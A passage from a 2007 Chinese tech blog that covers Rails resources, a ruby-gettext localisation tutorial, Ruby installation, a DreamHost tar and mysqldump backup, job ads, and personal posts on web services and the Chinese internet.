<body>

Caiwangqin's blog

Focus on Web2.0, Business, Architecture, Agile, Technic and beyond…

线上无障碍沟通是数字学习的关键

2007年1月31日 星期三

我使用的即时通信工具:


Skype :


GTalk :  


MSN :


Yahoo : 发送雅虎通信息给我吧


我使用的白板:


Vyew 2.0


我使用的Prototype工具:


Axure


在今天我知道了,所有这些都不能替代,面对面交流的现场互动。


标签:

posted by Caiwangqin, 上午10:53 | Permalink

Yupoo 如此色情

2007年1月30日 星期二


我是Yupoo的忠实用户,我习惯将BLOG中使用的照片上传至Yupoo,然后再引用。


今天在Blogging丑陋的 Windows Live Mail,使用YCast上传照片时,又强制性的在我电脑屏幕的右侧出现一些色情照片。无法设置为不显示侧边栏,更改我的订阅标签也不行。我不知道Yupoo为什么在设计YCast时考虑比Flickr多这么一个画蛇添足的功能,推送商业广告?我想在用户使用客户端工具上传照片时,是没有兴趣看这些照片吧,上传工具就是要快速简单,要看这些时肯定会直接打开相关网站。写这篇BLOG只是想说出,我忍受YCast色情栏已经很久了。


标签:

posted by Caiwangqin, 上午10:07 | Permalink

丑陋的 Windows Live Mail











WINDOW~1




caiwangqin上传于Yupoo





从Windows Live Messenger进入我的电子邮件收件箱,数次都出现这样的页面,真是够丑陋。

标签:

posted by Caiwangqin, 上午9:36 | Permalink

Ruby on Ralis blogging site collections

2007年1月29日 星期一


这是一位Rails学习笔记收集的Ruby on Rails博客站点,几乎包含了全球最热的Rails Blogger,稍后我也会整理公开我的订阅的Rails Feeds, 将会比这个更全面。


Slash7 feed Author is writing a rails book for Pragmatic Programmers.


jlaine.net feed


Loud Thinking by David Heinemeier Hansson feed Creator of rails.


Techno Weenie feed


Mike Clark’s Weblog feed


mir.aculo.us feed


O Reilly Ruby feed


Obie Fernandez feed


PragDave feed Author of the Agile Web Development with Rails and Programming Ruby books.


Riding Rails feed Official rails blog.


Robby on Rails feed Writing a rails book for O Reilly.


Ruby Quiz feed An excellent way to learn ruby.


Shades of Grey feed Ruby tips.


Jamis Buck feed Rails core member.


Cody Fauser feed


jvoorhis feed


Signal vs Noise feed


I am rice feed


Eric Goodwin feed


Softies on Rails feed


Rails Express feed


Ruby Corner feed A ruby blog aggregator.


Update


Here are some more that I stumbled across.


has_many :through feed


Tampering with Technology feed


RealityForge.org feed


RailsExpress.blog feed


OnRails.org feed


nuby on rails feed


techno weenie feed


Scott Raymond feed


karmacrash feed


brainspl.at feed


6 short of a dozen feed


Ruby on Rails Podcast feed


RubyGarden feed


Ruby Weekly News feed



Link to ralis相关的博客网站


标签:

posted by Caiwangqin, 上午7:15 | Permalink

Interview with Lei You in Shanghai

2007年1月28日 星期日


i’ve received an email from lei you(Photographs right) last week, he is an Australian Chinese, i’ m very glad to meet him in shanghai today. the email contain his brief below:


Hi Jesse,


I’ve been a keen reader of your blog for a while, back when chinaonrails was online, you called for a consultant team in china. I’m very interested in the proposal, just wondering whether you are still going ahead with that idea?

I have worked on rails for the past few month, and gained some hands on experience with rails, disected\fixed several plugins (including acts_configurable_settings, file_column, markaby) and written a few of mine own (although unpublished). Ruby was in fact a new language for me. However my background in Python & Java made the transition smoother, and perhaps my initial thrive to find the best plugin set for my own project also made it easier (it turns out that many plugins weren’t written by sufficiently experienced programmers, and a lot of them required some taming for my purposes). Anyhow, I guess my own experience could well help many others (and I will soon share them on railscn) .



he would really like to work on some projects along with an innovative team, if you can offer ruby on rails position or start-up project with rails please contact me. and perhaps someone can look for jobs from rubynow.com, the site provide any job for anywhere in the world for Rails development, BSD work, or anything else, just as long as there is some relation to Ruby.


标签:

posted by Caiwangqin, 下午2:32 | Permalink

[招聘]蛙爪网络媒体在广州招务精英


这是代发Simon Chan的蛙爪网络媒体公司的招聘广告,有意向的朋友赶紧应聘吧:


WaZhua logo


蛙爪网络媒体 (Wazhua Digital Media)为一家创新的互联网公司,管理层中既有从美国硅谷回来拥有深厚创业经验的企业家,也有从美国纽约回来拥有投资银行经验的精英,是一个充满动力的组合。


公司目前主力发展网络媒体服务,致力为博客及创新网站提供前所未有的网络体验。这里已经聚集了许多来至国内、香港及美国的精英,公司为每一个员工提供优秀和具有挑战性的工作环境,充分发挥员工的自主性与创造力,并为取得的成绩而自豪。


现在我们於广州再招务各路精英,继续开发蛙爪网络媒体及将其高速发展,有了你的加盟以及整个团队的共同努力,明天的我们定会非常出色、辉煌及具有其独特性。


各位有冲劲及愿意发挥创意的朋友不妨投寄简历给我们,面试及工作地点设在广州天河北。


 


—————————————————————-
资深界面设计师 (UI Designer)


工作范围包括:
- 设计用户网页界面流程 (User Interface)
- Flash 和网页界面风格设计和制作
- 进行各种界面设计的可用性(usability)分析,进行用户体验研究
- 进行新产品设计,产品原型评测,以及对现有产品的用户体验优化工作


要求如下:
- 专业要求认知心理学,人机交互学,或者界面设计,以及相关专业,本科及以上学历,三年以上界面设计经验;
- 熟悉各种互联网产品的可用性分析,及用户分析方法,可以进行实验室用户可用性研究,用户田野调研
- 有扎实美术功底、对网页版式掌握精道
- 有社区网页面设计经验者优先
- 精通DHTML、CSS等网页构建技术
- 拥有Flash能力,优秀者优先
- 精通PHOTOSHOP及FLASH等相关设计软件
- 熟悉web产品的开发流程以及有较强的产品意识及独到的想法
- 较好的写作能力和书面交流能力,可以很好的表达和传递自己的观察或设计概念
- 灵活机动:可以很好的应对工作计划改变,不同类型的产品,在需要的时候可以设计新的用户研究和产品评测方法。
- 具有较强的创新能力,能独立快速完成高品质设计
- 关注业界动态,对产品开发与有独到经验和见解


应聘材料:
- 简历一份,内容包括个人资料、学历和工作经验、待遇要求、E-mail、电话号码等
- 请提供过往最佳的5-10款网站或Flash作品资料
- 有意者请将资料e-mail至:jobs@WaZhua.com,并在邮件主题中注明“应聘蛙爪资深界面设计师”字样


月薪:6000~8000元/月


 


—————————————————————-
市场创意推广专家


工作范围包括:
- 产品的市场推广、创意和执行、品牌策略、公关传播、商务合作等方面的工作
- 公司与公众媒体关系的监控、文档信息管理
- 与用户协调合作关系
- 细分不同的用户群体,制定总体及阶段性推广策略,提升品牌力
- 协调资源,达成阶段性营销任务
应聘材料:
- 本科及以上学历,三年以上互联网市场推广/品牌拓展经验
- 非常熟悉互联网社区及相关传播媒体
- 熟悉和热爱社区,了解Blog和SNS产业
- 精通市场营销手段和市场分析工具,具备良好的沟通技巧和商务谈判技巧以及良好的文字功底
- 能独立策划大型论坛活动
- 全面的互联网行业产品和市场知识,能敏锐把握用户需求,有丰富的市场理论知识和成功的市场拓展经验
- 有成功的互联网热点营销案例者优先
- 热爱及对时尚潮流文化有一定的认识


应聘材料:
- 简历一份,内容包括个人资料、学历和工作经验、待遇要求、E-mail、电话号码等
- 有意者请将资料e-mail至:jobs@WaZhua.com,并在邮件主题中注明“应聘蛙爪市场创意推广专家”字样


月薪:6000~8000元/月


 


—————————————————————-
资深编辑 – 娱乐频道


工作范围包括:
蛙爪现招聘资深编辑负责明星、球星、电影、电视、音乐、综艺等内容。主要工作包括策划、采集和制作娱乐头条,图片,标题, 话题, 专题, 视频


要求如下:
- 大学本科以上学历,对娱乐圈有深厚兴趣及知识面广
- 三年或以上娱乐频道编辑经验
- 具有对娱乐新闻事件的敏感性,有良好的专题策划能力及组织经验
- 工作责任心强,具备团队合作精神
- 熟悉电脑操作,掌握基本网络知识
- 有相关传统娱乐媒体工作经验或大型娱乐网站编辑经验者优先考虑
- 熟悉Photoshop及相片编辑软件、懂HTML及有网页设计制作经验者优先
应聘材料:
- 简历一份,内容包括个人资料、学历和工作经验、待遇要求、E-mail、电话号码等;
- 请提供过往相关作品作叁考
- 有意者请将资料e-mail至:jobs@WaZhua.com,并在邮件主题中注明“应聘蛙爪资深编辑 – 娱乐频道”字样.


月薪:4500~6000元/月


 


—————————————————————-
设计师– 娱乐/名星/模特 图片设计和编辑


工作范围包括:
- 设计制作娱乐/名星/模特的图片、照片、视频和Flash
- 设计制作网页广告


要求如下:
- 二年或以上IT公司工作经验、网站、图片/视频设计和编辑经验
- 熟悉娱乐频道图片/视频设计和编辑
- 有扎实美术功底、对网页版式掌握精道
- 熟练使用Photoshop,掌握Illustrator或者Freehand等矢量图形编辑软件
- 有Flash设计能经验者优先, 熟识Flash Actionscript为一大优势
- 有视频编辑经验者优先
- 有社区互联网网站工作经验者优先。
- 有较好的沟通能力
- 美术触角敏锐,但不随波逐流


应聘材料:
- 简历一份,内容包括个人资料、学历和工作经验、待遇要求、E-mail、电话号码等
- 请提供过往最佳的10-20款作品资料,包括网站、图片、Flash和视频(如有)
- 有意者请将资料e-mail至:jobs@WaZhua.com,并在邮件主题中注明“应聘蛙爪设计师 (娱乐/名星/模特 图片设计和编辑)”字样


月薪:3500~5000元/月


 


—————————————————————-
行政助理


工作范围包括:
- 外资公司证照办理
- 设立新办公室
- 日常行政工作(如办公用品采购、订票等)与文书
- 出纳工作
- 基本会计


要求如下:
- 大专或以上毕业,有二年或以上相关工作经验
- 有外资公司行政助理经验
- 熟悉政府部门工作流程
- 熟练操作计算机及办公软件(Word/Excel)
- 懂财务基础知识,能独立完成账务包括每月报税
- 英语良好


应聘材料:
- 简历一份,内容包括个人资料、学历和工作经验、待遇要求、E-mail、电话号码等
- 有意者请将资料e-mail至:jobs@WaZhua.com,并在邮件主题中注明“应聘蛙爪行政助理”字样


月薪:2800~3200元/月



Link to 蛙爪网络媒体: 在广州招务精英


标签:

posted by Caiwangqin, 下午1:13 | Permalink

Reading snippets on the train to shanghai

2007年1月27日 星期六


  • 瞬间速度(twitch speed)。
  • George Siemens的“连接主义(Connectivism)”。
  • 信息就是某种分享物。
  • Mougayar告诉我们“未来的组织是‘开放公司’”。
  • Rob Paterson问道,“取消体制化的中间人,推动建立直接的关系,难道不是我们这个时代一个重大的创意吗?超级市场会永远存在吗?我们需要在工厂式的大学里学习吗?我们的健康要依靠医生吗?新闻就是我们在电视上看到的吗?”
  • 对所有人而言,需要认识的重点是Web2.0的出现并不是一个技术革命,而是一个社会革命。
  • 正如Gee所介绍,“词汇只有当它们能与经历连接时才会有意义”。如果我说“我打翻了咖啡,根据我要求的是一把扫帚还是一把地拖,这句话的含义是不一样的。你无法在时间的前面创造环境--它必然是经验的一部分。


From E-learning 2.0


标签:

posted by Caiwangqin, 上午5:00 | Permalink

Asoboo - "Let’s have fun"

2007年1月26日 星期五

今天收到Alexander N. Frederiksén发来加入Asoboo的邀请,这是一个使用Ruby on Rails实现的Social Networking. 


UI设计的非常简洁,UE也比较好,新用户很快便能找到了自己的团队,如喜欢ruby on rails的人们Asoboo目前只能通过邀请加入,如果你希望体验,请在留言栏留下你的Email, 我将发给你邀请。


Asoboo’s goal is to make our lives more fun by making it easy to make new friends, share information on our interests, join events, and discover new places that are connected to each of our own interests, friends, and things we are into.  Membership in Asoboo is by invitation only.



标签:

posted by Caiwangqin, 上午6:24 | Permalink

MySpace中文版是百度空间


通过李杰的博客得知百度变脸了,把空间放置到了首页。登录体验了一下,在百度空间中找朋友(也可以使用高级搜索),速度非常快,操作过程也和MySpace很相似。在搜索出来的结果中给几个人发送消息,虽然操作过程非常不2.0, 但速度快,更让我意外得是很快便得到了反馈,可见空间用户很活跃。由此可以预言,MySpace的中文版将会是百度空间MySpace如果要想进入中国,最好先搞清楚中国的百度空间,或者选择与百度合作,或者继续留在自己家里玩。不要重蹈Google的覆辙。


我喜欢百度空间


标签:

posted by Caiwangqin, 上午5:34 | Permalink

关于Caiwangqin你不知道的五件事

2007年1月24日 星期三

“流行”是一个永恒的主题,不幸的是“流行”都会过时,幸运也的是“流行”都会过时。Blogger 们在2006创造了一系列的“流行”,去年流行过50人,后来被封了。流行创业,后来谢文周韶宁老冒都走了。现在又开始流行5件事了,Zola以为最近我闲,估计有空写,那我就写吧。


要写关于Caiwangqin你不知道的五件事,关于你可以通过我的Blog了解到的,比如rubyonrails, 比如uuzone, 比如p&g, cyberway. 就不写了。这次写的有些是连我也不知道的,你一定不知道。



  1. 出生未满月就喜欢听收音机。这是母亲告诉我的,如果睡在摇篮里,旁边很安静,那我一定要哭出点声音。只要开了收音机,有声音了,我就会很安静的听收音机。母亲还记得那收音机是长江牌,天知道我在听什么?现在我真的拥有过二十多个收音机,凯隆、德劲、德生、SONY,微型的、大型的,手动的、自动的。听广播是一种享受。

  2. 3岁的时候跟父亲一起,差点走失。父亲是在长江上工作的,一年大部分时间都在航行中。那年父亲把我带在身边,可能是由于在水上不安全,总记得他把我关在船舱里,我只有通过船舱的小窗口看来来往往的船只。有次上岸给我做衣服,父亲有事离开一会儿,叫我在一个地方等。我后来我拎着父亲的公文包,一个人在街上走了好远,我觉得自己好勇敢。父亲却发动了所有认识的人找我,急得流了眼泪。

  3. 17岁的时候住过民工棚。在武汉,崔颢曾在《黄鹤楼》里写过“晴川历历汉阳树, 芳草萋萋鹦鹉洲。”中提过的地点鹦鹉洲旁边。我在一个工地打工,运水泥,走钢管,这让我更深层次的理解了苦和累。虽然时间很短,却终生难忘。

  4. 同年,也是在武汉,汉口青年路的一幢高楼上。面试时因对面坐的漂亮小姐叫我蔡先生而脸红。当我排了很长时间的队后,走入面试的房间,对面坐了一位非常艳丽的小姐,用一种非常甜美的声音,叫了一声:“蔡先生,请坐。”我顿时脸红心跳,根本不知道怎样回答面试问题。这是人生中第一次去面试,第一次被人称为蔡先生。

  5. I have a dream, so prepare to start-up 2007.


我就不点名了,看到这篇BLOG的朋友,赶紧追赶这次“流行”吧。


标签:

posted by Caiwangqin, 下午5:50 | Permalink

Google.cn 搜索提示

Google 黑板报上看到 Google.cn 搜索提示,这个”搜索提示”的功能就是当您在搜索框中输入关键字的同时,下拉框中就出现以这个关键字开头的热门搜索词。试搜索一下我的名字(Caiwangqin),也能够得到提示,并且还可以看到有41,100结果,太棒了。



标签:

posted by Caiwangqin, 下午3:25 | Permalink

CHM Documentation for Rails 1.2.1

Just a quick announcement to let those interested know that I’ve
updated my CHM documentation file to match the latest 1.2.1 release of
Rails. You can download it from here: [link].


Link to [Rails] [ANN] CHM Documentation for Rails 1.2.1


标签:

posted by Caiwangqin, 上午2:18 | Permalink

CNNIC发布第19次中国互联网络发展状况统计报告


1月23日下午,中国互联网络信息中心(CNNIC)发布第19次中国互联网络发展状况统计报告,报告显示,截至2006年12月31日,中国内地网民已经达到1.37亿,其中宽带用户已经突破1亿,达到1.04亿,另外手机上网人数已经达到1700万人.
报告显示,截至2006年12月31日,中国内地网民总数已达1.37亿,与去年同期相比增加了2600万人,增长率为23.4%,中国网民总数占总人口比例为10.5%,首次突破10%,其中北京市网民普及率首次突破30%.

在1.37亿网民中,通过xDSL、Cable Modem等上网的宽带网民数为9070万人,通过专线上网的网民人数为2710万人,如果将专线上网的数量纳入宽带上网部分,去掉交叉重复的宽带网民, 则宽带上网网民数达到10400万人,依此计算,中国使用宽带上网的网民在全部网民中的比例高达75.9%.
本次调查结果显示,中国内地网民中,男性网民占58.3%,女性网民占41.7%,男性依然占据网民主体.报告显示,“不懂电脑网络”和“不具备上网条件”仍是非网民不上网的最主要因素.另外,城镇网民普及率是农村的6.5倍,中国的互联网在城镇和农村之间还存在很大的差异.

报告显示,在中国5940万台上网计算机中,通过宽带接入互联网的计算机数为4120万台,中国使用宽带上网的计算机数在全部上网计算机中所占比例达69.4%.中国互联网步入高速增长的宽带时期.

截止到2006年年底,中国域名总数近411万个,其中CN下注册的域名数为180万个,与去年同期调查的110万个相比,增加了70万个,增长率达64.4%,占总域名数的43.9%.COM域名数194万,占总域名数的47%,但CN域名数的增长速度高于COM域名.此外,报告也显示,截止到2006年底,中国网站数约为84.3万个,出口带宽256,696M,IPv4地址数9800万,都在继续稳定增长.

此次报告还首次加入了手机上网的调查数据,报告称通过手机上网的网民数已达到1700万人,占网民总数的12.4%,已经初具规模,这一数据代表着中国网民上网方式、上网终端设备的多样化发展.阻碍普通网民使用手机上网的最大原因是手机上网费用高和速度慢.(木木)

新浪科技

下载:19次中国互联网络发展状况统计报告(doc)


标签:

posted by Caiwangqin, 上午1:29 | Permalink

使用ruby gettext实现RoR应用的多语言化——Step by Step

2007年1月22日 星期一


今晚看到虫眼世界的Rails学习笔记,之前也曾读过gettext实现RoR应用的多语言化的文章,感觉他这篇写得比较耐心,转发分享.


1. 安装ruby gettext
使用gem安装:


代码





  1. gem install gettext  


render_code();
gem会列出可以安装的gettext的版本。注意,如果是在Windows下安装的话,一定要选择后面带“(mswin32)”的选项,否则会有编译错误。2. 修改config/environment.rb文件:
在文件头上加入:


代码





  1. $KCODE=’u’  
  2.   

  3. require ’jcode’  
  4. require ’gettext/rails’  


render_code();3. 修改app/controllers/application.rb文件
在文件头加入


代码





  1. require ’gettext/rails’  


render_code();在ApplicationController的类声明后加入对init_gettext的调用。参数是一个字符串,一般取项目名称。这是后面要说到的po和mo文件的文件名。这里假设取’project’。


代码





  1. init_gettext ’project’  


render_code();4. 修改Rakefile
加入以下内容:


代码





  1. desc “Update pot/po files to match new version.”   
  2. task :updatepo do  

  3.   MY_APP_TEXT_DOMAIN = “project”   
  4.   MY_APP_VERSION     = “project 0.0.1″   

  5.   GetText.update_pofiles(MY_APP_TEXT_DOMAIN,   
  6.                          Dir.glob(“{app,lib}/**/*.{rb,rhtml}”),   

  7.                          MY_APP_VERSION)  
  8. end  

  9.   
  10. desc “Create mo-files for L10n”   

  11. task :makemo do  
  12.   GetText.create_mofiles(true“po”“locale”)  

  13. end    


render_code();5. 修改rb和rhtml文件,用“_()”调用代替裸字符串。
无论是在rb还是rhtml文件中,都通过“_()”函数得到多语言化的字符串。
比如controller:


代码





  1. class BlogController < ApplicationController  
  2.    :  

  3.    :  
  4.   def create  

  5.     @article = Article.new(params[:article])  
  6.     if @article.save  

  7.       flash[:notice] = _(’Article was successfully created.’)  #Here!  
  8.       redirect_to :action => ’list’  

  9.     else  
  10.       render :action => ’new‘  

  11.     end  
  12.   end  

  13.    :  
  14.    :  

  15. end  


render_code();
_()函数的参数可以是任意的英文句子,而不需要象在Java应用中一样,遵循properties的命名规则。这样对英文版来说,基本没有额外的工作。model中validation的错误信息:


代码





  1. validates_presence_of :title, :message => N_(“can’t be empty!”)  


render_code();
注意,这里要用”N_()”,而不是“_()”。
作为主语的属性名称不用写,gettext会自动将属性名加在开头。否则,可以用”%{fn}”代入属性名。gettext会查询数据库,自动产 生属性名称的字符串,产生规则是:”类名|属性名”。如果属性名是由下划线分隔的多个单词,则将下划线替换为空格,第一个单词的首字母大写,其余单词全部 小写。
例如User类的name属性,对应的是”User|Name”,”created_at”属性对应”User|Created at”。
在任意场合可以根据该规则使用多语言化的属性名,最常见的是在表头和表单中的标签。例如在rhtml文件中可以写:


代码





  1. <tr>  
  2.     <td><%= _(”User|Name”) %></td>  

  3.     <td><%= text_field ”user”, ”name” %></td>  
  4. </tr>  


render_code();在错误信息中还可以用“%d”代表validates_*中的某些参数,例如:


代码





  1. alidates_length_of :description, :minimum => 10, :message => N_(“%{fn} is too short (min is %d characters)”)  


render_code();在view的rhtml文件中, 所有需要多语言化的文本都要用“_()”代替,比如:


代码





  1. <h1><%= _(’Editing article’) %></h1>  
  2.   

  3. <%= start_form_tag :action => ’update’, :id => @article %>  
  4.   <%= render_partial ’form’ %>  

  5.   <p><%= submit_tag _(’Edit’) %></p>  
  6. <%= end_form_tag %>  

  7. <p>  
  8. <%= link_to _(’Show’), :action => ’show’, :id => @article %> |  

  9. <%= link_to _(’Destroy’), {:action => ’destroy’, :id => @article}, :confirm => _(’Are you sure?’) %> |  
  10. <%= link_to _(’Back’), :action => ’list’ %>  

  11. </p>  


render_code();6. 准备po目录。
在项目的根目录下创建目录“po”。然后在“po”目录下为没一种语言创建一个目录,目录名是语言代码,语言代码参见:
http://www.w3.org/International/resource-index.html#lang
中文一般用“zh”。其实,如果选择语言的过程完全由应用自己控制的话,目录名不遵循标准也没有关系。


7. 生成pot和po文件。
执行rake任务


代码





  1. rake updatepo  


render_code();
gettext会检查项目load路径中的所有的rb和rhtml文件,搜集调用“_()”或“N_()”的所有地方的参数,生成后缀为pot的 文件,存放在po目录下,以及后缀为”po”的文件,在没一种语言的目录下各放一份。pot和po文件的文件名前缀就是前面调用 “init_gettext”时的参数。所以如果在application.rb中写”init_gettext ‘project’”的话,生成的文件就是“project.pot”和“project.po”。8. 翻译po文件。
po文件是文本文件,可以使用文本编辑器编辑,但是必须使用Unicode编码。所以请使用支持Unicode的编辑器。另一种方式是使用poedit。([url]http://www.poedit.org[/url)
在po文件中,没一个文本串的格式如下面的样子:


代码





  1. #: app/views/member/index.rhtml:49  
  2. msgid “submit”  

  3. msgstr “”     


render_code();第一行是该字符串出现的位置。如果出现过多次,则会有多行。不要删除或修改该行,否则会影响下面说的merge过程。
第二行msgid就是调用“_()”或“N_()”时的参数。
第三行的双引号中应该填入相应语言的文本。


9. 生成mo文件
执行rake任务


代码





  1. rake makemo  


render_code();
该任务会在项目的根目录下生成locale目录。下面的内容到时候自己看一下就可以了,不需要动的。mo文件是二进制文件,是gettext在运行时真正要用的。10. 选择语言。
gettext按一下顺序决定使用哪一种语言。
a. 调用GetText.bindtextdomain方法的参数
b. request参数lang
c. Cookie lang的值。
d. Http消息头中HTTP_ACCEPT_LANGUAGE的值。
e. 缺省值“en”(English)


如果让用户自己选择语言,那么只要在controller中用“cookies[’lang’]=”设置用户使用的语言代码就可以了。


如果要在view中强制使用某种语言的话,可以使用set_locale方法。由此甚至可以做到一个view中使用不用的语言。比如:


代码





  1. <% set_locale “fr” %>  
  2. <%=_(“Hello world”) %>  

  3. <% set_locale “en” %>  
  4. <%=_(“Hello world”) %>  


render_code();11. 递增开发
“rake updatepo”是支持递增开发的。也就是每次运行“rake updatepo”的时候,如果某种语言的目录下没有po文件,则生成新的po文件。如果已经有po文件了,则只是补充新发现的字符串,原来已经翻译过的 内容会得到保留,是一个”merge”的过程。 这个过程中会发生两中情况,分别在po文件中用特殊的方式标记。
一种是在msgid前插入一行“#:fuzzy”,比如:


代码





  1. #: app/views/member/index.rhtml:49  
  2. #: fuzzy  

  3. msgid “submit”  
  4. msgstr “”     


render_code();
这表明gettext在merget的过程中遇到某种冲突,需要翻译po文件的人来解决。不过究竟什么样的冲突会导致fuzzy,我现在也不是很清楚。好在这种情况并不多见。发生的使用可能会出现msgid和msgstr之间张冠李戴的情况。
解决冲突以后,一定要把“#: fuzze”这行删除,否则makemo的时候会出现警告。另一种情况是原来的某个字符串不再被用到,这种情况下gettext并不会删除这个字符串,而是在msgid前加入一行“#: deprecated”。如果这个字符串确实不再被用到了,则可以将这一行连同msgid和msgstr全部删除。否则只删除“#: deprecated”这行,而保留msgid, msgstr。


12. 多人开发时的协作。
gettext可以支持不同的模块使用不用的po文件,不过我还没试过。一般的应用,所有的文本放在一个po文件(一种语言一个)中也可以了。这 时如果多个开发人员都去维护po文件的话,在版本管理上可能比较麻烦。所以最好是由一个人统一负责“updatepo, 翻译,makemo”这三个步骤。在某种语言的po文件中找不到某个字符串的时候,gettext会直接显示msgid,这在开发时也够用了。


13. 参考资料:
gettext home page: http://www.yotabanana.com/hiki/ruby-gettext.html


Ruby-GetText-Package HOWTO for Ruby on Rails: http://www.yotabanana.com/hiki/ruby-gettext-howto-rails.html


Using Gettext To Translate Your Rails Application: http://manuals.rubyonrails.com/read/chapter/105


*: 本文中的部分例子代码来自上述参考资料。



Link to 使用ruby gettext实现RoR应用的多语言化——Step by Step


标签:

posted by Caiwangqin, 下午6:34 | Permalink

Lyceum - 基于WordPress内核的多用户版blogging程序

Lyceum是一款非常不错基于WordPress内核的的多用户博客程序,和WordPress Mu功能类似,并且它们都拥有中文语言包。whatup写了一个Lyceum Language Plugin可以让各个blog使用自己的语言,很方便;YsKin也提供了WordPress MU中文包


如果要为一个群体提供blogging服务,这两个程序都非常不错,可惜的是它们都没有加为友好的功能。如果在它们的基础上再加入好友和站内短消息功能,相信不少BSP都会使用这个开源程序了。


标签:

posted by Caiwangqin, 上午4:11 | Permalink

九型人格初级测试

2007年1月21日 星期日

又拍收到gofeeling发来的站内短信,测试一下我的九型人格。


点击下面的任意一张图片,即知道结果。
1169167321|yupoo.com1169167330|yupoo.com1169167339|yupoo.com
1169167346|yupoo.com1169167353|yupoo.com1169167361|yupoo.com
1169167370|yupoo.com1169167379|yupoo.com1169167388|yupoo.com
如果觉得准的话,请分享你的性格分析



我的答案是:


專業,實事求事,自信



你掌管自己的生活,你相信自己的能力多於相信命運的安排。

你以實際,簡單的方式去解決問題。

你對日常生活中所遇到的事物抱有現實的睇法,並且能夠應付自如。

人們知道你可擔重任,因此都放心把大量工作交給你處理。

你那堅強的意志使你時刻都充滿信心。

未達到自己的目標之前,你絕不罷休。



本来想加入阳家将如何有效改变自己”的课程,也和欧阳老师在MSN上交流过,现在我还没有发出我的详细简历和不少于1000字的自我经历介绍给他。我是认同这样的学习研究方式的,但担心自己不能坚持一年写那多么心理相关的BLOG,而且也不是很喜欢这样的拜师方式,多少有些“沽名钓誉”。和君创业王明夫在2004年招收弟子时,我一位广州正在读MBA的朋友曾专门赶去北京报名,开始说是只招收18人,后来招了好几十人,中国投资银行家俱乐部的近况我也不知道,不知道有没有达到传说中的效果(李自成带着潼关18骑,打下天下。那么,我王明夫,培养出18名一流投资银行家,肯定也能打下中国的投资银行界)。MBIT职业人格类型测验我在2005年初给东风日产乘用车公司做人力资源管理项目的时候也测验过,感觉只是一个测试不会对我的工作生活有多大影响。好在有BLOG,他们的课程是在BLOG公开的,会员心得也可以在BLOG上看到,我还是参加“旁听”吧,我也会自由的分享自己的相关心得。


标签:

posted by Caiwangqin, 上午9:15 | Permalink

Ruby安装指南(linux版本)

ruby官方网站:http://www.ruby-lang.org/en/
你可以在上面得到源代码,进行编译,自本文截止的最新版本为1.8.5(stable),下载地址为:ftp://ftp.ruby-lang.org/pub/ruby/ruby-1.8.5.tar.gz


这里推荐大家使用源码安装,因为这样可以得到最新的版本。
安装ruby:
$ ./configure
$ make
$ make install (run as root)


记得ruby就不应该忘记gem,下载地址:http://rubyforge.org/frs/download.php/11289/rubygems-0.9.0.tgz这个时候的最新版本是:0.9.0
gem安装很方便,gem是基于ruby-zlib的,所以先安装ruby-zlib(http://raa.ruby-lang.org/project/ruby-zlib),这一步不一定是必须的,这和发行版本有一定的关系
安装ruby-zlib(下载地址:http://www.blue.sky.or.jp/atelier/ruby/ruby-zlib-0.6.0.tar.gz),解压
$ ruby extconf.rb
$ make
$ make install (run as root)


这样安装gem就没有问题了,安装如下,进入gem的目录:
$sudo ruby setup.rb
就可以进行安装,加入想要知道更多的信息,请参考:http://docs.rubygems.org/read/chapter/3


这样我们就大致完成了ruby的安装,有了ruby,自然要用rails(也许是比较偏激的看法):
$gem install rails


一直谈到的是web,其实出了web之外ruby也可以做desktop,并且以及有人这么做了,fxri就是最好的例子,还有一些项目,比如ruby-gnome2等,在windows我们可以感觉到fxri有多慢,linux情况会有所改变,然而,ruby毕竟是解释型,桌面领域还有待发展。


个人认为ruby在桌面的开发模式可以是:开发前端。使用更高效的语言开发基于CLI的实用程序,由于基于CLI的实用程序抛开了GUI的困扰,使得质量和性能都会有一定的提高,然后用ruby写GUI界面作为此程序的前端。


Link to Ruby安装指南(linux版本)


标签:

posted by Caiwangqin, 上午6:55 | Permalink

Something About China

2007年1月18日 星期四


Maybe every Chinese is familiar with the following terms in Chinese, but can you recognize them in English?

• Astronomy, mathematics, and chemistry in the embryonic stage
• Mercantilism (重商主义)
• Since 1451 – Donation for Official Post System
• The hereditary system (世袭制度) ->imperial examination system
• Emperor Yangdi of the Sui Dynasty, Reunification
• Confucianism(儒家学说)’s Four Books and Five Classics(431,286 words)
– The Four Books (四书)
• The Great Learning (大学); The Doctrine of the Mean (中庸); The Analects of Confucius (论语); Mencius (孟子)
– The Five Classics (五经)
• The Book of Songs (诗经); The Book of History (书经); The Book of Changes(易经); The Book of Rites (礼记); The Spring and Autumn Annals (春秋)

All the material above are copied from the courseware of Professor Guo.



Link to Something About China


标签:

posted by Caiwangqin, 上午7:03 | Permalink

RubyGems version 0.9.1 is now available


可惜在国内更新不了,谁知道海底光缆到底啥时候能好啊?
Link to jameschih: RubyGems version 0.9.1 is now available


标签:

posted by Caiwangqin, 上午3:59 | Permalink

在dreamhost上进行数据备份

DreamHost 提供了 SSH/SFTP 进行文件管理 和 phpMyAdmin 进行数据库管理。要想将自己的应用备份下来,首先 SSH 登录到服务器上将程序文件压缩,然后使用SFTP下载即可。如果数据库很小(几M以内),则可以使用 phpMyAdmin 的导出功能将数据库备份到本地,如果数据库很大,又有台湾海底光缆的问题,导出一般不会成功,需要使用 mysqldump 进行备份了。以下是从DreamHost备份www.chinaonrails.com的程序文件和数据库的过程:


一、使用 SecureCRT 登录到服务器,压缩程序文件


tar -zcf chinaonrails.com.tar.gz chinaonrails.com/



二、使用 mysqldump 备份数据库


mysqldump -u username -h mysql.chinaonrails.com -p


database | gzip > chinaonrails20070118.sql.gz



三、使用 SecureFX 将 chinaonrails.com.tar.gz 和 chinaonrails20070118.sql.gz 下载至本地


标签:

posted by Caiwangqin, 上午3:47 | Permalink

Faster CSV:做报表的好帮手

2007年1月17日 星期三

thegiive又贡献了一篇非常有用的文章,收藏分享:Faster CSV:做報表的好幫手

FasterCSV 是 Ruby 當中一個處理 CSV 檔案的 lib。顧名思義,他做 CSV 處理速度比 Ruby standard Lib 快。這裡介紹怎麼連結 Active Record 產生報表,並且每天寄一份 Email 報表給管理者。本篇參考自How to email reports from Rails


安裝


gem i fastercsv


即安裝完成,要在程式使用請先 require


require ‘rubygems’
require ‘faster_csv’


跟 Active Record 連結,並且產生報表

我們假設我們想要把 User 資料庫裡面的東西作成 CSV 檔案

FasterCSV.open(“report.csv”, “w”) do |csv|

fields  = User.content_columns.inject([]) do |result,column|

result << column.name

end

csv << fields.map {|f| f.titleize }

User.find_all.each do |row|

